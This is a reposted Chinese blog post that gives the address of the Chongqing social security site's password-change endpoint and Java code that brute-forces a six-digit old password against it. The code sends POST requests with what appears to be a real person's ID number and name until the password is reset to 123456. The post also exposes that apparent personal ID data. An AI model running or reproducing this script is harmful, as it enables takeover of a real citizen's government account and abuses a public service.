重庆社保局密码重置
登錄:http://ggfw.cqhrss.gov.cn/ggfw/index1.jsp
F12獲取修改密碼路徑:http://ggfw.cqhrss.gov.cn/ggfw/ChangeBLH_changeGrpwd.do
?
一、新建實體接受 返回對象
package com.ycgwl;public class rel {private String code;private String message;public String getCode() {return code;}public void setCode(String code) {this.code = code;}public String getMessage() {return message;}public void setMessage(String message) {this.message = message;}} package com.ycgwl;import java.io.IOException; import java.io.InputStream; import java.io.OutputStreamWriter; import java.net.HttpURLConnection; import java.net.URL;import com.alibaba.fastjson.JSON;public class Bean {public static void main(String[] args) {String url = "http://ggfw.cqhrss.gov.cn/ggfw/ChangeBLH_changeGrpwd.do";String urlpara = "bh=500102199210245995&xm=文昌平&ymm=pwd&xmm=123456&rmm=123456";for(int i=465;i<1000000;i++) {String pwdd = getPwdString(i);if(pwdd.equals("")) {System.out.println("獲取密碼出錯");System.exit(0);}String result = Post(url,urlpara.replace("pwd", pwdd));while("IOException".equals(result)) {result = Post(url,urlpara.replace("pwd", pwdd));}System.out.println(i+"``````````````````"+result);rel rel = JSON.parseObject(result, rel.class);if(!rel.getCode().equals("0")) {System.out.println("設置成功");System.exit(0);}}}public static String Post(String strURL, String params) { try { URL url = new URL(strURL);// 創建連接 HttpURLConnection connection = (HttpURLConnection) url.openConnection();connection.setDoOutput(true); connection.setDoInput(true); connection.setUseCaches(false); connection.setInstanceFollowRedirects(true); connection.setRequestMethod("POST"); // 設置請求方式 connection.setReadTimeout(100);connection.connect(); OutputStreamWriter out = new OutputStreamWriter(connection.getOutputStream(), "UTF-8"); // utf-8編碼 out.append(params); out.flush(); out.close(); InputStream is = connection.getInputStream(); byte[] temp = new byte[connection.getContentLength()]; is.read(temp);String result = new String(temp, "UTF-8"); // utf-8編碼 return result; } catch (IOException e) { return "IOException";}}public static String getPwdString(int index) {int length = String.valueOf(index).length();switch (length) {case 1:return "00000"+index;case 2:return "0000"+index;case 3:return "000"+index;case 4:return "00"+index;case 5:return "0"+index;case 6:return ""+index;default:return "";}} }?
轉載于:https://www.cnblogs.com/acme6/p/9342478.html
總結
- 上一篇: Android MVP模式就是这么回事儿
- 下一篇: 【设计模式】工厂方法模式 Factory